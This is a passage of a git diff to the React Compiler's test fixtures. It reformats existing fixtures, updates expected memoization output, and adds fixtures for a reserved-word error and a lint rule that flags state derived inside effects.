+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.js
@@ -1,4 +1,4 @@
-import * as React from "react";
+import * as React from 'react';
 
 function Component(props) {
   const onClick = React.useCallback(() => {
@@ -9,5 +9,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.expect.md
index fd71bf0a5001..42a3484335d7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import * as React from "react";
+import * as React from 'react';
 
 function Component(props) {
   const x = React.useMemo(() => {
@@ -15,7 +15,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -28,7 +28,6 @@ import * as React from "react";
 
 function Component(props) {
   const $ = _c(2);
-  let t0;
   let x;
   if ($[0] !== props.value) {
     x = [];
@@ -38,8 +37,8 @@ function Component(props) {
   } else {
     x = $[1];
   }
-  t0 = x;
-  const x_0 = t0;
+  const x_0 = x;
+
   return x_0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.js
index b2b10652889c..09c5f136f3bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.js
@@ -1,4 +1,4 @@
-import * as React from "react";
+import * as React from 'react';
 
 function Component(props) {
   const x = React.useMemo(() => {
@@ -11,5 +11,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.expect.md
index 328f6d2ef3d0..68b0122ea92d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.expect.md
@@ -21,7 +21,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, a: 42, b: 3.14 }],
+  params: [{cond: true, a: 42, b: 3.14}],
 };
 
 ```
@@ -31,9 +31,9 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(5);
+  const $ = _c(7);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       const x = [];
@@ -41,12 +41,12 @@ function Component(props) {
         x.push(props.a);
         if (props.b) {
           let t1;
-          if ($[2] !== props.b) {
+          if ($[4] !== props.b) {
             t1 = [props.b];
-            $[2] = props.b;
-            $[3] = t1;
+            $[4] = props.b;
+            $[5] = t1;
           } else {
-            t1 = $[3];
+            t1 = $[5];
           }
           const y = t1;
           x.push(y);
@@ -58,20 +58,22 @@ function Component(props) {
         break bb0;
       } else {
         let t1;
-        if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+        if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
           t1 = foo();
-          $[4] = t1;
+          $[6] = t1;
         } else {
-          t1 = $[4];
+          t1 = $[6];
         }
         t0 = t1;
         break bb0;
       }
     }
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[3];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.js
index 9f5b357bf9d6..53eb06bc591e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.js
@@ -17,5 +17,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, a: 42, b: 3.14 }],
+  params: [{cond: true, a: 42, b: 3.14}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.expect.md
index bb3c9a7ad8b9..56fdd4ccf82f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 /**
  * This fixture tests what happens when a reactive has no declarations (other than an early return),
@@ -25,7 +25,7 @@ function Component(props) {
     x.push(42);
     return x;
   } else {
-    console.log("fallthrough");
+    console.log('fallthrough');
   }
   return makeArray(props.a);
 }
@@ -34,14 +34,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { a: 42 },
-    { a: 42 },
-    { a: 3.14 },
-    { a: 3.14 },
-    { a: 42 },
-    { a: 3.14 },
-    { a: 42 },
-    { a: 3.14 },
+    {a: 42},
+    {a: 42},
+    {a: 3.14},
+    {a: 3.14},
+    {a: 42},
+    {a: 3.14},
+    {a: 42},
+    {a: 3.14},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.js
index f0a4b49f6ac3..e289445513c1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.js
@@ -1,4 +1,4 @@
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 /**
  * This fixture tests what happens when a reactive has no declarations (other than an early return),
@@ -21,7 +21,7 @@ function Component(props) {
     x.push(42);
     return x;
   } else {
-    console.log("fallthrough");
+    console.log('fallthrough');
   }
   return makeArray(props.a);
 }
@@ -30,13 +30,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { a: 42 },
-    { a: 42 },
-    { a: 3.14 },
-    { a: 3.14 },
-    { a: 42 },
-    { a: 3.14 },
-    { a: 42 },
-    { a: 3.14 },
+    {a: 42},
+    {a: 42},
+    {a: 3.14},
+    {a: 3.14},
+    {a: 42},
+    {a: 3.14},
+    {a: 42},
+    {a: 3.14},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.expect.md
index 584cbacb42bb..31df829e0c20 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 function Component(props) {
   let x = [];
@@ -20,19 +20,19 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     // pattern 1
-    { cond: true, a: 42 },
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
+    {cond: false, b: 3.14},
     // pattern 1
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
     // pattern 1
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
   ],
 };
 
@@ -45,9 +45,9 @@ import { c as _c } from "react/compiler-runtime";
 import { makeArray } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(6);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       const x = [];
@@ -57,21 +57,23 @@ function Component(props) {
         break bb0;
       } else {
         let t1;
-        if ($[2] !== props.b) {
+        if ($[4] !== props.b) {
           t1 = makeArray(props.b);
-          $[2] = props.b;
-          $[3] = t1;
+          $[4] = props.b;
+          $[5] = t1;
         } else {
-          t1 = $[3];
+          t1 = $[5];
         }
         t0 = t1;
         break bb0;
       }
     }
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[3];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.js
index 4a9d1ab90977..7446d76fb320 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.js
@@ -1,4 +1,4 @@
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 function Component(props) {
   let x = [];
@@ -16,18 +16,18 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     // pattern 1
-    { cond: true, a: 42 },
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
+    {cond: false, b: 3.14},
     // pattern 1
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
     // pattern 1
-    { cond: true, a: 42 },
+    {cond: true, a: 42},
     // pattern 2
-    { cond: false, b: 3.14 },
+    {cond: false, b: 3.14},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.expect.md
index 4291d6575659..622f73564954 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.expect.md
@@ -13,8 +13,8 @@ function MyApp(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.js
index ff27c3574e9d..4b04d9242161 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.js
@@ -9,6 +9,6 @@ function MyApp(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.expect.md
new file mode 100644
index 000000000000..a6ee8a798b58
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+
+function useThing(fn) {
+  const fnRef = useRef(fn);
+  const ref = useRef(null);
+
+  if (ref.current === null) {
+    ref.current = function (this: unknown, ...args) {
+      return fnRef.current.call(this, ...args);
+    };
+  }
+  return ref.current;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Expected a non-reserved identifier name
+
+`this` is a reserved word in JavaScript and cannot be used as an identifier name.
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.ts
new file mode 100644
index 000000000000..2937ba8df5e2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.ts
@@ -0,0 +1,13 @@
+import {useRef} from 'react';
+
+function useThing(fn) {
+  const fnRef = useRef(fn);
+  const ref = useRef(null);
+
+  if (ref.current === null) {
+    ref.current = function (this: unknown, ...args) {
+      return fnRef.current.call(this, ...args);
+    };
+  }
+  return ref.current;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.expect.md
new file mode 100644
index 000000000000..fa5ae370e67e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({value, enabled}) {
+  const [localValue, setLocalValue] = useState('');
+
+  useEffect(() => {
+    if (enabled) {
+      setLocalValue(value);
+    } else {
+      setLocalValue('disabled');
+    }
+  }, [value, enabled]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 'test', enabled: true}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ value, enabled }) {
+  const [localValue, setLocalValue] = useState("");
+
+  useEffect(() => {
+    if (enabled) {
+      setLocalValue(value);
+    } else {
+      setLocalValue("disabled");
+    }
+  }, [value, enabled]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: "test", enabled: true }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [value]\n\nData Flow Tree:\n└── value (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":9,"column":6,"index":263},"end":{"line":9,"column":19,"index":276},"filename":"derived-state-conditionally-in-effect.ts","identifierName":"setLocalValue"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":16,"column":1,"index":397},"filename":"derived-state-conditionally-in-effect.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>test</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.js
new file mode 100644
index 000000000000..4cdcb53bb236
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.js
@@ -0,0 +1,21 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({value, enabled}) {
+  const [localValue, setLocalValue] = useState('');
+
+  useEffect(() => {
+    if (enabled) {
+      setLocalValue(value);
+    } else {
+      setLocalValue('disabled');
+    }
+  }, [value, enabled]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 'test', enabled: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.expect.md
new file mode 100644
index 000000000000..4db10f4df4cf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component({input = 'empty'}) {
+  const [currInput, setCurrInput] = useState(input);
+  const localConst = 'local const';
+
+  useEffect(() => {
+    setCurrInput(input + localConst);
+  }, [input, localConst]);
+
+  return <div>{currInput}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{input: 'test'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+export default function Component({ input = "empty" }) {
+  const [currInput, setCurrInput] = useState(input);
+  const localConst = "local const";
+
+  useEffect(() => {
+    setCurrInput(input + localConst);
+  }, [input, localConst]);
+
+  return <div>{currInput}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ input: "test" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [input]\n\nData Flow Tree:\n└── input (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":9,"column":4,"index":295},"end":{"line":9,"column":16,"index":307},"filename":"derived-state-from-default-props.ts","identifierName":"setCurrInput"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":15,"index":141},"end":{"line":13,"column":1,"index":391},"filename":"derived-state-from-default-props.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>testlocal const</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.js
new file mode 100644
index 000000000000..9d559946bead
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.js
@@ -0,0 +1,18 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component({input = 'empty'}) {
+  const [currInput, setCurrInput] = useState(input);
+  const localConst = 'local const';
+
+  useEffect(() => {
+    setCurrInput(input + localConst);
+  }, [input, localConst]);
+
+  return <div>{currInput}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{input: 'test'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.expect.md
new file mode 100644
index 000000000000..afddca39e9a7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import {useEffect, useState} from 'react';
+
+function Component({shouldChange}) {
+  const [count, setCount] = useState(0);
+
+  useEffect(() => {
+    if (shouldChange) {
+      setCount(count + 1);
+    }
+  }, [count]);
+
+  return <div>{count}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import { useEffect, useState } from "react";
+
+function Component({ shouldChange }) {
+  const [count, setCount] = useState(0);
+
+  useEffect(() => {
+    if (shouldChange) {
+      setCount(count + 1);
+    }
+  }, [count]);
+
+  return <div>{count}</div>;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nState: [count]\n\nData Flow Tree:\n└── count (State)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":10,"column":6,"index":256},"end":{"line":10,"column":14,"index":264},"filename":"derived-state-from-local-state-in-effect.ts","identifierName":"setCount"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":127},"end":{"line":15,"column":1,"index":329},"filename":"derived-state-from-local-state-in-effect.ts"},"fnName":"Component","memoSlots":7,"memoBlocks":3,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.js
new file mode 100644
index 000000000000..db84ab8be45f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.js
@@ -0,0 +1,15 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import {useEffect, useState} from 'react';
+
+function Component({shouldChange}) {
+  const [count, setCount] = useState(0);
+
+  useEffect(() => {
+    if (shouldChange) {
+      setCount(count + 1);
+    }
+  }, [count]);
+
+  return <div>{count}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.expect.md
new file mode 100644
index 000000000000..e1c33a6c73f4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.expect.md
@@ -0,0 +1,72 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({firstName}) {
+  const [lastName, setLastName] = useState('Doe');
+  const [fullName, setFullName] = useState('John');
+
+  const middleName = 'D.';
+
+  useEffect(() => {
+    setFullName(firstName + ' ' + middleName + ' ' + lastName);
+  }, [firstName, middleName, lastName]);
+
+  return (
+    <div>
+      <input value={lastName} onChange={e => setLastName(e.target.value)} />
+      <div>{fullName}</div>
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstName: 'John'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ firstName }) {
+  const [lastName, setLastName] = useState("Doe");
+  const [fullName, setFullName] = useState("John");
+
+  const middleName = "D.";
+
+  useEffect(() => {
+    setFullName(firstName + " " + middleName + " " + lastName);
+  }, [firstName, middleName, lastName]);
+
+  return (
+    <div>
+      <input value={lastName} onChange={(e) => setLastName(e.target.value)} />
+      <div>{fullName}</div>
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ firstName: "John" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [firstName]\nState: [lastName]\n\nData Flow Tree:\n├── firstName (Prop)\n└── lastName (State)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":11,"column":4,"index":316},"end":{"line":11,"column":15,"index":327},"filename":"derived-state-from-prop-local-state-and-component-scope.ts","identifierName":"setFullName"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":20,"column":1,"index":561},"filename":"derived-state-from-prop-local-state-and-component-scope.ts"},"fnName":"Component","memoSlots":12,"memoBlocks":5,"memoValues":6,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div><input value="Doe"><div>John D. Doe</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.js
new file mode 100644
index 000000000000..31b77d148171
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.js
@@ -0,0 +1,25 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({firstName}) {
+  const [lastName, setLastName] = useState('Doe');
+  const [fullName, setFullName] = useState('John');
+
+  const middleName = 'D.';
+
+  useEffect(() => {
+    setFullName(firstName + ' ' + middleName + ' ' + lastName);
+  }, [firstName, middleName, lastName]);
+
+  return (
+    <div>
+      <input value={lastName} onChange={e => setLastName(e.target.value)} />
+      <div>{fullName}</div>
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstName: 'John'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.expect.md
new file mode 100644
index 000000000000..960cf987d4ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({initialName}) {
+  const [name, setName] = useState('');
+
